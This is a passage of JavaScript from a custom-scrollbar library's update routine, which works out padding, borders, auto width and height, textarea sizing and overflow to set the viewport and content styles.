_swallowedUpdateHints._force |= updateHints._force;
var now = COMPATIBILITY.now();
var hostSizeChanged = !!_swallowedUpdateHints._hostSizeChanged;
var contentSizeChanged = !!_swallowedUpdateHints._contentSizeChanged;
var force = !!_swallowedUpdateHints._force;
var changedOptions = updateHints._changedOptions;
var swallow = _swallowUpdateLag > 0 && _initialized && !_destroyed && !force && !changedOptions && (now - _lastUpdateTime) < _swallowUpdateLag && (!_heightAutoCache && !_widthAutoCache);
var displayIsHidden;
if (swallow)
_swallowedUpdateTimeout = setTimeout(update, _swallowUpdateLag);
//abort update due to:
//destroyed
//swallowing
//sleeping
//host is hidden or has false display
if (_destroyed || swallow || (_sleeping && !changedOptions) || (_initialized && !force && (displayIsHidden = _hostElement.is(':hidden'))) || _hostElement.css('display') === 'inline')
return;
_lastUpdateTime = now;
_swallowedUpdateHints = {};
//if scrollbar styling is possible and native scrollbars aren't overlaid the scrollbar styling will be applied which hides the native scrollbars completely.
if (_nativeScrollbarStyling && !(_nativeScrollbarIsOverlaid.x && _nativeScrollbarIsOverlaid.y)) {
//native scrollbars are hidden, so change the values to zero
_nativeScrollbarSize.x = 0;
_nativeScrollbarSize.y = 0;
}
else {
//refresh native scrollbar size (in case of zoom)
_nativeScrollbarSize = extendDeep({}, globals.nativeScrollbarSize);
}
// Scrollbar padding is needed for firefox, because firefox hides scrollbar automatically if the size of the div is too small.
// The calculation: [scrollbar size +3 *3]
// (+3 because of possible decoration e.g. borders, margins etc., but only if native scrollbar is NOT a overlaid scrollbar)
// (*3 because (1)increase / (2)decrease -button and (3)resize handle)
_nativeScrollbarMinSize = {
x: (_nativeScrollbarSize.x + (_nativeScrollbarIsOverlaid.x ? 0 : 3)) * 3,
y: (_nativeScrollbarSize.y + (_nativeScrollbarIsOverlaid.y ? 0 : 3)) * 3
};
changedOptions = changedOptions || {};
//freezeResizeObserver(_sizeObserverElement, true);
//freezeResizeObserver(_sizeAutoObserverElement, true);
var checkCacheAutoForce = function () {
return checkCache.apply(this, [].slice.call(arguments).concat([force]));
};
//save current scroll offset
var currScroll = {
x: _viewportElement[_strScrollLeft](),
y: _viewportElement[_strScrollTop]()
};
var currentPreparedOptionsScrollbars = _currentPreparedOptions.scrollbars;
var currentPreparedOptionsTextarea = _currentPreparedOptions.textarea;
//scrollbars visibility:
var scrollbarsVisibility = currentPreparedOptionsScrollbars.visibility;
var scrollbarsVisibilityChanged = checkCacheAutoForce(scrollbarsVisibility, _scrollbarsVisibilityCache);
//scrollbars autoHide:
var scrollbarsAutoHide = currentPreparedOptionsScrollbars.autoHide;
var scrollbarsAutoHideChanged = checkCacheAutoForce(scrollbarsAutoHide, _scrollbarsAutoHideCache);
//scrollbars click scrolling
var scrollbarsClickScrolling = currentPreparedOptionsScrollbars.clickScrolling;
var scrollbarsClickScrollingChanged = checkCacheAutoForce(scrollbarsClickScrolling, _scrollbarsClickScrollingCache);
//scrollbars drag scrolling
var scrollbarsDragScrolling = currentPreparedOptionsScrollbars.dragScrolling;
var scrollbarsDragScrollingChanged = checkCacheAutoForce(scrollbarsDragScrolling, _scrollbarsDragScrollingCache);
//className
var className = _currentPreparedOptions.className;
var classNameChanged = checkCacheAutoForce(className, _classNameCache);
//resize
var resize = _currentPreparedOptions.resize;
var resizeChanged = checkCacheAutoForce(resize, _resizeCache) && !_isBody; //body can't be resized since the window itself acts as resize possibility.
//paddingAbsolute
var paddingAbsolute = _currentPreparedOptions.paddingAbsolute;
var paddingAbsoluteChanged = checkCacheAutoForce(paddingAbsolute, _paddingAbsoluteCache);
//clipAlways
var clipAlways = _currentPreparedOptions.clipAlways;
var clipAlwaysChanged = checkCacheAutoForce(clipAlways, _clipAlwaysCache);
//sizeAutoCapable
var sizeAutoCapable = _currentPreparedOptions.sizeAutoCapable && !_isBody; //body can never be size auto, because it shall be always as big as the viewport.
var sizeAutoCapableChanged = checkCacheAutoForce(sizeAutoCapable, _sizeAutoCapableCache);
//showNativeScrollbars
var ignoreOverlayScrollbarHiding = _currentPreparedOptions.nativeScrollbarsOverlaid.showNativeScrollbars;
var ignoreOverlayScrollbarHidingChanged = checkCacheAutoForce(ignoreOverlayScrollbarHiding, _ignoreOverlayScrollbarHidingCache);
//autoUpdate
var autoUpdate = _currentPreparedOptions.autoUpdate;
var autoUpdateChanged = checkCacheAutoForce(autoUpdate, _autoUpdateCache);
//overflowBehavior
var overflowBehavior = _currentPreparedOptions.overflowBehavior;
var overflowBehaviorChanged = checkCacheAutoForce(overflowBehavior, _overflowBehaviorCache, force);
//dynWidth:
var textareaDynWidth = currentPreparedOptionsTextarea.dynWidth;
var textareaDynWidthChanged = checkCacheAutoForce(_textareaDynWidthCache, textareaDynWidth);
//dynHeight:
var textareaDynHeight = currentPreparedOptionsTextarea.dynHeight;
var textareaDynHeightChanged = checkCacheAutoForce(_textareaDynHeightCache, textareaDynHeight);
//scrollbars visibility
_scrollbarsAutoHideNever = scrollbarsAutoHide === 'n';
_scrollbarsAutoHideScroll = scrollbarsAutoHide === 's';
_scrollbarsAutoHideMove = scrollbarsAutoHide === 'm';
_scrollbarsAutoHideLeave = scrollbarsAutoHide === 'l';
//scrollbars autoHideDelay
_scrollbarsAutoHideDelay = currentPreparedOptionsScrollbars.autoHideDelay;
//old className
_oldClassName = _classNameCache;
//resize
_resizeNone = resize === 'n';
_resizeBoth = resize === 'b';
_resizeHorizontal = resize === 'h';
_resizeVertical = resize === 'v';
//normalizeRTL
_normalizeRTLCache = _currentPreparedOptions.normalizeRTL;
//ignore overlay scrollbar hiding
ignoreOverlayScrollbarHiding = ignoreOverlayScrollbarHiding && (_nativeScrollbarIsOverlaid.x && _nativeScrollbarIsOverlaid.y);
//refresh options cache
_scrollbarsVisibilityCache = scrollbarsVisibility;
_scrollbarsAutoHideCache = scrollbarsAutoHide;
_scrollbarsClickScrollingCache = scrollbarsClickScrolling;
_scrollbarsDragScrollingCache = scrollbarsDragScrolling;
_classNameCache = className;
_resizeCache = resize;
_paddingAbsoluteCache = paddingAbsolute;
_clipAlwaysCache = clipAlways;
_sizeAutoCapableCache = sizeAutoCapable;
_ignoreOverlayScrollbarHidingCache = ignoreOverlayScrollbarHiding;
_autoUpdateCache = autoUpdate;
_overflowBehaviorCache = extendDeep({}, overflowBehavior);
_textareaDynWidthCache = textareaDynWidth;
_textareaDynHeightCache = textareaDynHeight;
_hasOverflowCache = _hasOverflowCache || { x: false, y: false };
//set correct class name to the host element
if (classNameChanged) {
removeClass(_hostElement, _oldClassName + _strSpace + _classNameThemeNone);
addClass(_hostElement, className !== undefined && className !== null && className.length > 0 ? className : _classNameThemeNone);
}
//set correct auto Update
if (autoUpdateChanged) {
if (autoUpdate === true || (autoUpdate === null && _autoUpdateRecommended)) {
disconnectMutationObservers();
autoUpdateLoop.add(_base);
}
else {
autoUpdateLoop.remove(_base);
connectMutationObservers();
}
}
//activate or deactivate size auto capability
if (sizeAutoCapableChanged) {
if (sizeAutoCapable) {
if (_contentGlueElement) {
_contentGlueElement.show();
}
else {
_contentGlueElement = FRAMEWORK(generateDiv(_classNameContentGlueElement));
_paddingElement.before(_contentGlueElement);
}
if (_sizeAutoObserverAdded) {
_sizeAutoObserverElement.show();
}
else {
_sizeAutoObserverElement = FRAMEWORK(generateDiv(_classNameSizeAutoObserverElement));
_sizeAutoObserverElementNative = _sizeAutoObserverElement[0];
_contentGlueElement.before(_sizeAutoObserverElement);
var oldSize = { w: -1, h: -1 };
setupResizeObserver(_sizeAutoObserverElement, function () {
var newSize = {
w: _sizeAutoObserverElementNative[LEXICON.oW],
h: _sizeAutoObserverElementNative[LEXICON.oH]
};
if (checkCache(newSize, oldSize)) {
if (_initialized && (_heightAutoCache && newSize.h > 0) || (_widthAutoCache && newSize.w > 0)) {
update();
}
else if (_initialized && (!_heightAutoCache && newSize.h === 0) || (!_widthAutoCache && newSize.w === 0)) {
update();
}
}
oldSize = newSize;
});
_sizeAutoObserverAdded = true;
//fix heightAuto detector bug if height is fixed but contentHeight is 0.
//the probability this bug will ever happen is very very low, thats why its ok if we use calc which isn't supported in IE8.
if (_cssCalc !== null)
_sizeAutoObserverElement.css(_strHeight, _cssCalc + '(100% + 1px)');
}
}
else {
if (_sizeAutoObserverAdded)
_sizeAutoObserverElement.hide();
if (_contentGlueElement)
_contentGlueElement.hide();
}
}
//if force, update all resizeObservers too
if (force) {
_sizeObserverElement.find('*').trigger(_strScroll);
if (_sizeAutoObserverAdded)
_sizeAutoObserverElement.find('*').trigger(_strScroll);
}
//display hidden:
displayIsHidden = displayIsHidden === undefined ? _hostElement.is(':hidden') : displayIsHidden;
//textarea AutoWrapping:
var textareaAutoWrapping = _isTextarea ? _targetElement.attr('wrap') !== 'off' : false;
var textareaAutoWrappingChanged = checkCacheAutoForce(textareaAutoWrapping, _textareaAutoWrappingCache);
//detect direction:
var cssDirection = _hostElement.css('direction');
var cssDirectionChanged = checkCacheAutoForce(cssDirection, _cssDirectionCache);
//detect box-sizing:
var boxSizing = _hostElement.css('box-sizing');
var boxSizingChanged = checkCacheAutoForce(boxSizing, _cssBoxSizingCache);
//detect padding:
var padding = getTopRightBottomLeftHost(_strPaddingMinus);
//width + height auto detecting var:
var sizeAutoObserverElementBCRect;
//exception occurs in IE8 sometimes (unknown exception)
try {
sizeAutoObserverElementBCRect = _sizeAutoObserverAdded ? _sizeAutoObserverElementNative[LEXICON.bCR]() : null;
} catch (ex) {
return;
}
_isRTL = cssDirection === 'rtl';
_isBorderBox = (boxSizing === 'border-box');
var isRTLLeft = _isRTL ? _strLeft : _strRight;
var isRTLRight = _isRTL ? _strRight : _strLeft;
//detect width auto:
var widthAutoResizeDetection = false;
var widthAutoObserverDetection = (_sizeAutoObserverAdded && (_hostElement.css(_strFloat) !== 'none' /*|| _isTextarea */)) ? (MATH.round(sizeAutoObserverElementBCRect.right - sizeAutoObserverElementBCRect.left) === 0) && (!paddingAbsolute ? (_hostElementNative[LEXICON.cW] - _paddingX) > 0 : true) : false;
if (sizeAutoCapable && !widthAutoObserverDetection) {
var tmpCurrHostWidth = _hostElementNative[LEXICON.oW];
var tmpCurrContentGlueWidth = _contentGlueElement.css(_strWidth);
_contentGlueElement.css(_strWidth, _strAuto);
var tmpNewHostWidth = _hostElementNative[LEXICON.oW];
_contentGlueElement.css(_strWidth, tmpCurrContentGlueWidth);
widthAutoResizeDetection = tmpCurrHostWidth !== tmpNewHostWidth;
if (!widthAutoResizeDetection) {
_contentGlueElement.css(_strWidth, tmpCurrHostWidth + 1);
tmpNewHostWidth = _hostElementNative[LEXICON.oW];
_contentGlueElement.css(_strWidth, tmpCurrContentGlueWidth);
widthAutoResizeDetection = tmpCurrHostWidth !== tmpNewHostWidth;
}
}
var widthAuto = (widthAutoObserverDetection || widthAutoResizeDetection) && sizeAutoCapable && !displayIsHidden;
var widthAutoChanged = checkCacheAutoForce(widthAuto, _widthAutoCache);
var wasWidthAuto = !widthAuto && _widthAutoCache;
//detect height auto:
var heightAuto = _sizeAutoObserverAdded && sizeAutoCapable && !displayIsHidden ? (MATH.round(sizeAutoObserverElementBCRect.bottom - sizeAutoObserverElementBCRect.top) === 0) /* && (!paddingAbsolute && (_msieVersion > 9 || !_msieVersion) ? true : true) */ : false;
var heightAutoChanged = checkCacheAutoForce(heightAuto, _heightAutoCache);
var wasHeightAuto = !heightAuto && _heightAutoCache;
//detect border:
//we need the border only if border box and auto size
var updateBorderX = (widthAuto && _isBorderBox) || !_isBorderBox;
var updateBorderY = (heightAuto && _isBorderBox) || !_isBorderBox;
var border = getTopRightBottomLeftHost(_strBorderMinus, '-' + _strWidth, !updateBorderX, !updateBorderY)
//detect margin:
var margin = getTopRightBottomLeftHost(_strMarginMinus);
//vars to apply correct css
var contentElementCSS = {};
var contentGlueElementCSS = {};
//funcs
var getHostSize = function () {
//has to be clientSize because offsetSize respect borders
return {
w: _hostElementNative[LEXICON.cW],
h: _hostElementNative[LEXICON.cH]
};
};
var getViewportSize = function () {
//viewport size is padding container because it never has padding, margin and a border
//determine zoom rounding error -> sometimes scrollWidth/Height is smaller than clientWidth/Height
//if this happens add the difference to the viewportSize to compensate the rounding error
return {
w: _paddingElementNative[LEXICON.oW] + MATH.max(0, _contentElementNative[LEXICON.cW] - _contentElementNative[LEXICON.sW]),
h: _paddingElementNative[LEXICON.oH] + MATH.max(0, _contentElementNative[LEXICON.cH] - _contentElementNative[LEXICON.sH])
};
};
//set info for padding
var paddingAbsoluteX = _paddingX = padding.l + padding.r;
var paddingAbsoluteY = _paddingY = padding.t + padding.b;
paddingAbsoluteX *= paddingAbsolute ? 1 : 0;
paddingAbsoluteY *= paddingAbsolute ? 1 : 0;
padding.c = checkCacheAutoForce(padding, _cssPaddingCache);
//set info for border
_borderX = border.l + border.r;
_borderY = border.t + border.b;
border.c = checkCacheAutoForce(border, _cssBorderCache);
//set info for margin
_marginX = margin.l + margin.r;
_marginY = margin.t + margin.b;
margin.c = checkCacheAutoForce(margin, _cssMarginCache);
//refresh cache
_textareaAutoWrappingCache = textareaAutoWrapping;
_cssDirectionCache = cssDirection;
_cssBoxSizingCache = boxSizing;
_widthAutoCache = widthAuto;
_heightAutoCache = heightAuto;
_cssPaddingCache = padding;
_cssBorderCache = border;
_cssMarginCache = margin;
//IEFix direction changed
if (cssDirectionChanged && _sizeAutoObserverAdded)
_sizeAutoObserverElement.css(_strFloat, isRTLRight);
//apply padding:
if (padding.c || cssDirectionChanged || paddingAbsoluteChanged || widthAutoChanged || heightAutoChanged || boxSizingChanged || sizeAutoCapableChanged) {
var paddingElementCSS = {};
var textareaCSS = {};
var paddingValues = [padding.t, padding.r, padding.b, padding.l];
setTopRightBottomLeft(contentGlueElementCSS, _strMarginMinus, [-padding.t, -padding.r, -padding.b, -padding.l]);
if (paddingAbsolute) {
setTopRightBottomLeft(paddingElementCSS, _strEmpty, paddingValues);
setTopRightBottomLeft(_isTextarea ? textareaCSS : contentElementCSS, _strPaddingMinus);
}
else {
setTopRightBottomLeft(paddingElementCSS, _strEmpty);
setTopRightBottomLeft(_isTextarea ? textareaCSS : contentElementCSS, _strPaddingMinus, paddingValues);
}
_paddingElement.css(paddingElementCSS);
_targetElement.css(textareaCSS);
}
//viewport size is padding container because it never has padding, margin and a border.
_viewportSize = getViewportSize();
//update Textarea
var textareaSize = _isTextarea ? textareaUpdate() : false;
var textareaSizeChanged = _isTextarea && checkCacheAutoForce(textareaSize, _textareaSizeCache);
var textareaDynOrigSize = _isTextarea && textareaSize ? {
w: textareaDynWidth ? textareaSize._dynamicWidth : textareaSize._originalWidth,
h: textareaDynHeight ? textareaSize._dynamicHeight : textareaSize._originalHeight
} : {};
_textareaSizeCache = textareaSize;
//fix height auto / width auto in cooperation with current padding & boxSizing behavior:
if (heightAuto && (heightAutoChanged || paddingAbsoluteChanged || boxSizingChanged || padding.c || border.c)) {
contentElementCSS[_strHeight] = _strAuto;
}
else if (heightAutoChanged || paddingAbsoluteChanged) {
contentElementCSS[_strHeight] = _strHundredPercent;
}
if (widthAuto && (widthAutoChanged || paddingAbsoluteChanged || boxSizingChanged || padding.c || border.c || cssDirectionChanged)) {
contentElementCSS[_strWidth] = _strAuto;
contentGlueElementCSS[_strMaxMinus + _strWidth] = _strHundredPercent; //IE Fix
}
else if (widthAutoChanged || paddingAbsoluteChanged) {
contentElementCSS[_strWidth] = _strHundredPercent;
contentElementCSS[_strFloat] = _strEmpty;
contentGlueElementCSS[_strMaxMinus + _strWidth] = _strEmpty; //IE Fix
}
if (widthAuto) {
//textareaDynOrigSize.w || _strAuto :: doesnt works because applied margin will shift width
contentGlueElementCSS[_strWidth] = _strAuto;
contentElementCSS[_strWidth] = VENDORS._cssPropertyValue(_strWidth, 'max-content intrinsic') || _strAuto;
contentElementCSS[_strFloat] = isRTLRight;
}
else {
contentGlueElementCSS[_strWidth] = _strEmpty;
}
if (heightAuto) {
//textareaDynOrigSize.h || _contentElementNative[LEXICON.cH] :: use for anti scroll jumping
contentGlueElementCSS[_strHeight] = textareaDynOrigSize.h || _contentElementNative[LEXICON.cH];
}
else {
contentGlueElementCSS[_strHeight] = _strEmpty;
}
if (sizeAutoCapable)
_contentGlueElement.css(contentGlueElementCSS);
_contentElement.css(contentElementCSS);
//CHECKPOINT HERE ~
contentElementCSS = {};
contentGlueElementCSS = {};
//if [content(host) client / scroll size, or target element direction, or content(host) max-sizes] changed, or force is true
if (hostSizeChanged || contentSizeChanged || textareaSizeChanged || cssDirectionChanged || boxSizingChanged || paddingAbsoluteChanged || widthAutoChanged || widthAuto || heightAutoChanged || heightAuto || ignoreOverlayScrollbarHidingChanged || overflowBehaviorChanged || clipAlwaysChanged || resizeChanged || scrollbarsVisibilityChanged || scrollbarsAutoHideChanged || scrollbarsDragScrollingChanged || scrollbarsClickScrollingChanged || textareaDynWidthChanged || textareaDynHeightChanged || textareaAutoWrappingChanged) {
var strOverflow = 'overflow';
var strOverflowX = strOverflow + '-x';
var strOverflowY = strOverflow + '-y';
var strHidden = 'hidden';
var strVisible = 'visible';
//Reset the viewport (very important for natively overlaid scrollbars and zoom change
//don't change the overflow prop as it is very expensive and affects performance !A LOT!
if (!_nativeScrollbarStyling) {
var viewportElementResetCSS = {};
var resetXTmp = _hasOverflowCache.y && _hideOverflowCache.ys && !ignoreOverlayScrollbarHiding ? (_nativeScrollbarIsOverlaid.y ? _viewportElement.css(isRTLLeft) : -_nativeScrollbarSize.y) : 0;
var resetBottomTmp = _hasOverflowCache.x && _hideOverflowCache.xs && !ignoreOverlayScrollbarHiding ? (_nativeScrollbarIsOverlaid.x ? _viewportElement.css(_strBottom) : -_nativeScrollbarSize.x) : 0;
setTopRightBottomLeft(viewportElementResetCSS, _strEmpty);
_viewportElement.css(viewportElementResetCSS);
}
//measure several sizes:
var contentMeasureElement = getContentMeasureElement();
//in Firefox content element has to have overflow hidden, else element margins aren't calculated properly, this element prevents this bug, but only if scrollbars aren't overlaid
var contentSize = {
//use clientSize because natively overlaidScrollbars add borders
w: textareaDynOrigSize.w || contentMeasureElement[LEXICON.cW],
h: textareaDynOrigSize.h || contentMeasureElement[LEXICON.cH]
};
var scrollSize = {
w: contentMeasureElement[LEXICON.sW],
h: contentMeasureElement[LEXICON.sH]
};
//apply the correct viewport style and measure viewport size
if (!_nativeScrollbarStyling) {
viewportElementResetCSS[_strBottom] = wasHeightAuto ? _strEmpty : resetBottomTmp;
viewportElementResetCSS[isRTLLeft] = wasWidthAuto ? _strEmpty : resetXTmp;
_viewportElement.css(viewportElementResetCSS);
}
_viewportSize = getViewportSize();
//measure and correct several sizes
var hostSize = getHostSize();
var hostAbsoluteRectSize = {
w: hostSize.w - _marginX - _borderX - (_isBorderBox ? 0 : _paddingX),
h: hostSize.h - _marginY - _borderY - (_isBorderBox ? 0 : _paddingY)
};
var contentGlueSize = {
//client/scrollSize + AbsolutePadding -> because padding is only applied to the paddingElement if its absolute, so you have to add it manually
//hostSize is clientSize -> so padding should be added manually, right? FALSE! Because content glue is inside hostElement, so we don't have to worry about padding
w: MATH.max((widthAuto ? contentSize.w : scrollSize.w) + paddingAbsoluteX, hostAbsoluteRectSize.w),
h: MATH.max((heightAuto ? contentSize.h : scrollSize.h) + paddingAbsoluteY, hostAbsoluteRectSize.h)
};
contentGlueSize.c = checkCacheAutoForce(contentGlueSize, _contentGlueSizeCache);
_contentGlueSizeCache = contentGlueSize;
//apply correct contentGlue size
if (sizeAutoCapable) {
//size contentGlue correctly to make sure the element has correct size if the sizing switches to auto
if (contentGlueSize.c || (heightAuto || widthAuto)) {
contentGlueElementCSS[_strWidth] = contentGlueSize.w;
contentGlueElementCSS[_strHeight] = contentGlueSize.h;
//textarea-sizes are already calculated correctly at this point
if (!_isTextarea) {
contentSize = {
//use clientSize because natively overlaidScrollbars add borders
w: contentMeasureElement[LEXICON.cW],
h: contentMeasureElement[LEXICON.cH]
};
}
}
var textareaCoverCSS = {};
var setContentGlueElementCSSfunction = function (horizontal) {
var scrollbarVars = getScrollbarVars(horizontal);
var wh = scrollbarVars._w_h;
var strWH = scrollbarVars._width_height;
var autoSize = horizontal ? widthAuto : heightAuto;
var borderSize = horizontal ? _borderX : _borderY;
var paddingSize = horizontal ? _paddingX : _paddingY;
var marginSize = horizontal ? _marginX : _marginY;
var viewportSize = _viewportSize[wh] - borderSize - marginSize - (_isBorderBox ? 0 : paddingSize);
//make contentGlue size -1 if element is not auto sized, to make sure that a resize event happens when the element shrinks
if (!autoSize || (!autoSize && border.c))
contentGlueElementCSS[strWH] = hostAbsoluteRectSize[wh] - 1;
//if size is auto and host is smaller than size as min size, make content glue size -1 to make sure size changes will be detected (this is only needed if padding is 0)
if (autoSize && (contentSize[wh] < viewportSize) && (horizontal && _isTextarea ? !textareaAutoWrapping : true)) {
if (_isTextarea)
textareaCoverCSS[strWH] = parseToZeroOrNumber(_textareaCoverElement.css(strWH)) - 1;
contentGlueElementCSS[strWH] -= 1;
}
//make sure content glue size is at least 1
if (contentSize[wh] > 0)
contentGlueElementCSS[strWH] = MATH.max(1, contentGlueElementCSS[strWH]);
};
setContentGlueElementCSSfunction(true);
setContentGlueElementCSSfunction(false);
if (_isTextarea)
_textareaCoverElement.css(textareaCoverCSS);
_contentGlueElement.css(contentGlueElementCSS);
}
if (widthAuto)
contentElementCSS[_strWidth] = _strHundredPercent;
if (widthAuto && !_isBorderBox && !_mutationObserversConnected)
contentElementCSS[_strFloat] = 'none';
//apply and reset content style
_contentElement.css(contentElementCSS);
contentElementCSS = {};
//measure again, but this time all correct sizes:
var contentScrollSize = {
w: contentMeasureElement[LEXICON.sW],
h: contentMeasureElement[LEXICON.sH],
};
contentScrollSize.c = contentSizeChanged = checkCacheAutoForce(contentScrollSize, _contentScrollSizeCache);
_contentScrollSizeCache = contentScrollSize;
//refresh viewport size after correct measuring
_viewportSize = getViewportSize();
hostSize = getHostSize();
hostSizeChanged = checkCacheAutoForce(hostSize, _hostSizeCache);
_hostSizeCache = hostSize;
var hideOverflowForceTextarea = _isTextarea && (_viewportSize.w === 0 || _viewportSize.h === 0);
var previousOverflowAmount = _overflowAmountCache;
var overflowBehaviorIsVS = {};
var overflowBehaviorIsVH = {};
var overflowBehaviorIsS = {};
var overflowAmount = {};
var hasOverflow = {};
var hideOverflow = {};
var canScroll = {};
var viewportRect = _paddingElementNative[LEXICON.bCR]();
var setOverflowVariables = function (horizontal) {
var scrollbarVars = getScrollbarVars(horizontal);
var scrollbarVarsInverted = getScrollbarVars(!horizontal);
var xyI = scrollbarVarsInverted._x_y;
var xy = scrollbarVars._x_y;
var wh = scrollbarVars._w_h;
var widthHeight = scrollbarVars._width_height;
var scrollMax = _strScroll + scrollbarVars._Left_Top + 'Max';
var fractionalOverflowAmount = viewportRect[widthHeight] ? MATH.abs(viewportRect[widthHeight] - _viewportSize[wh]) : 0;
var checkFractionalOverflowAmount = previousOverflowAmount && previousOverflowAmount[xy] > 0 && _viewportElementNative[scrollMax] === 0;
overflowBehaviorIsVS[xy] = overflowBehavior[xy] === 'v-s';
overflowBehaviorIsVH[xy] = overflowBehavior[xy] === 'v-h';
overflowBehaviorIsS[xy] = overflowBehavior[xy] === 's';
overflowAmount[xy] = MATH.max(0, MATH.round((contentScrollSize[wh] - _viewportSize[wh]) * 100) / 100);
overflowAmount[xy] *= (hideOverflowForceTextarea || (checkFractionalOverflowAmount && fractionalOverflowAmount > 0 && fractionalOverflowAmount < 1)) ? 0 : 1;
hasOverflow[xy] = overflowAmount[xy] > 0;
//hideOverflow:
//x || y : true === overflow is hidden by "overflow: scroll" OR "overflow: hidden"
//xs || ys : true === overflow is hidden by "overflow: scroll"
hideOverflow[xy] = overflowBehaviorIsVS[xy] || overflowBehaviorIsVH[xy] ? (hasOverflow[xyI] && !overflowBehaviorIsVS[xyI] && !overflowBehaviorIsVH[xyI]) : hasOverflow[xy];
hideOverflow[xy + 's'] = hideOverflow[xy] ? (overflowBehaviorIsS[xy] || overflowBehaviorIsVS[xy]) : false;
canScroll[xy] = hasOverflow[xy] && hideOverflow[xy + 's'];
};
setOverflowVariables(true);
setOverflowVariables(false);
overflowAmount.c = checkCacheAutoForce(overflowAmount, _overflowAmountCache);
_overflowAmountCache = overflowAmount;
hasOverflow.c = checkCacheAutoForce(hasOverflow, _hasOverflowCache);
_hasOverflowCache = hasOverflow;
hideOverflow.c = checkCacheAutoForce(hideOverflow, _hideOverflowCache);
_hideOverflowCache = hideOverflow;
//if native scrollbar is overlay at x OR y axis, prepare DOM
if (_nativeScrollbarIsOverlaid.x || _nativeScrollbarIsOverlaid.y) {
var borderDesign = 'px solid transparent';
var contentArrangeElementCSS = {};
var arrangeContent = {};
var arrangeChanged = force;
var setContentElementCSS;
if (hasOverflow.x || hasOverflow.y) {
arrangeContent.w = _nativeScrollbarIsOverlaid.y && hasOverflow.y ? contentScrollSize.w + _overlayScrollbarDummySize.y : _strEmpty;
arrangeContent.h = _nativeScrollbarIsOverlaid.x && hasOverflow.x ? contentScrollSize.h + _overlayScrollbarDummySize.x : _strEmpty;
arrangeChanged = checkCacheAutoForce(arrangeContent, _arrangeContentSizeCache);
_arrangeContentSizeCache = arrangeContent;
}
if (hasOverflow.c || hideOverflow.c || contentScrollSize.c || cssDirectionChanged || widthAutoChanged || heightAutoChanged || widthAuto || heightAuto || ignoreOverlayScrollbarHidingChanged) {
contentElementCSS[_strMarginMinus + isRTLRight] = contentElementCSS[_strBorderMinus + isRTLRight] = _strEmpty;
setContentElementCSS = function (horizontal) {
var scrollbarVars = getScrollbarVars(horizontal);
var scrollbarVarsInverted = getScrollbarVars(!horizontal);
var xy = scrollbarVars._x_y;
var strDirection = horizontal ? _strBottom : isRTLLeft;
var invertedAutoSize = horizontal ? heightAuto : widthAuto;
if (_nativeScrollbarIsOverlaid[xy] && hasOverflow[xy] && hideOverflow[xy + 's']) {
contentElementCSS[_strMarginMinus + strDirection] = invertedAutoSize ? (ignoreOverlayScrollbarHiding ? _strEmpty : _overlayScrollbarDummySize[xy]) : _strEmpty;
contentElementCSS[_strBorderMinus + strDirection] = ((horizontal ? !invertedAutoSize : true) && !ignoreOverlayScrollbarHiding) ? (_overlayScrollbarDummySize[xy] + borderDesign) : _strEmpty;
}
else {
arrangeContent[scrollbarVarsInverted._w_h] =
contentElementCSS[_strMarginMinus + strDirection] =
contentElementCSS[_strBorderMinus + strDirection] = _strEmpty;
arrangeChanged = true;
}
};
if (_nativeScrollbarStyling) {
addRemoveClass(_viewportElement, _classNameViewportNativeScrollbarsInvisible, !ignoreOverlayScrollbarHiding)
}
else {
setContentElementCSS(true);
setContentElementCSS(false);
}
}
if (ignoreOverlayScrollbarHiding) {
arrangeContent.w = arrangeContent.h = _strEmpty;
arrangeChanged = true;
}
if (arrangeChanged && !_nativeScrollbarStyling) {
contentArrangeElementCSS[_strWidth] = hideOverflow.y ? arrangeContent.w : _strEmpty;
contentArrangeElementCSS[_strHeight] = hideOverflow.x ? arrangeContent.h : _strEmpty;
if (!_contentArrangeElement) {
_contentArrangeElement = FRAMEWORK(generateDiv(_classNameContentArrangeElement));
_viewportElement.prepend(_contentArrangeElement);
}
_contentArrangeElement.css(contentArrangeElementCSS);
}
_contentElement.css(contentElementCSS);
}
var viewportElementCSS = {};
var paddingElementCSS = {};
var setViewportCSS;
if (hostSizeChanged || hasOverflow.c || hideOverflow.c || contentScrollSize.c || overflowBehaviorChanged || boxSizingChanged || ignoreOverlayScrollbarHidingChanged || cssDirectionChanged || clipAlwaysChanged || heightAutoChanged) {
viewportElementCSS[isRTLRight] = _strEmpty;
setViewportCSS = function (horizontal) {
var scrollbarVars = getScrollbarVars(horizontal);
var scrollbarVarsInverted = getScrollbarVars(!horizontal);
var xy = scrollbarVars._x_y;
var XY = scrollbarVars._X_Y;
var strDirection = horizontal ? _strBottom : isRTLLeft;
var reset = function () {
viewportElementCSS[strDirection] = _strEmpty;
_contentBorderSize[scrollbarVarsInverted._w_h] = 0;
};
if (hasOverflow[xy] && hideOverflow[xy + 's']) {
viewportElementCSS[strOverflow + XY] = _strScroll;
if (ignoreOverlayScrollbarHiding || _nativeScrollbarStyling) {
reset();
}
else {
viewportElementCSS[strDirection] = -(_nativeScrollbarIsOverlaid[xy] ? _overlayScrollbarDummySize[xy] : _nativeScrollbarSize[xy]);
_contentBorderSize[scrollbarVarsInverted._w_h] = _nativeScrollbarIsOverlaid[xy] ? _overlayScrollbarDummySize[scrollbarVarsInverted._x_y] : 0;
}
} else {
viewportElementCSS[strOverflow + XY] = _strEmpty;
reset();
}
};
setViewportCSS(true);
setViewportCSS(false);
// if the scroll container is too small and if there is any overflow with no overlay scrollbar (and scrollbar styling isn't possible),
// make viewport element greater in size (Firefox hide Scrollbars fix)
// because firefox starts hiding scrollbars on too small elements
// with this behavior the overflow calculation may be incorrect or the scrollbars would appear suddenly
// https://bugzilla.mozilla.org/show_bug.cgi?id=292284
if (!_nativeScrollbarStyling
&& (_viewportSize.h < _nativeScrollbarMinSize.x || _viewportSize.w < _nativeScrollbarMinSize.y)
&& ((hasOverflow.x && hideOverflow.x && !_nativeScrollbarIsOverlaid.x) || (hasOverflow.y && hideOverflow.y && !_nativeScrollbarIsOverlaid.y))) {
viewportElementCSS[_strPaddingMinus + _strTop] = _nativeScrollbarMinSize.x;
viewportElementCSS[_strMarginMinus + _strTop] = -_nativeScrollbarMinSize.x;
viewportElementCSS[_strPaddingMinus + isRTLRight] = _nativeScrollbarMinSize.y;
viewportElementCSS[_strMarginMinus + isRTLRight] = -_nativeScrollbarMinSize.y;
}
else {
viewportElementCSS[_strPaddingMinus + _strTop] =
viewportElementCSS[_strMarginMinus + _strTop] =
viewportElementCSS[_strPaddingMinus + isRTLRight] =
viewportElementCSS[_strMarginMinus + isRTLRight] = _strEmpty;
}
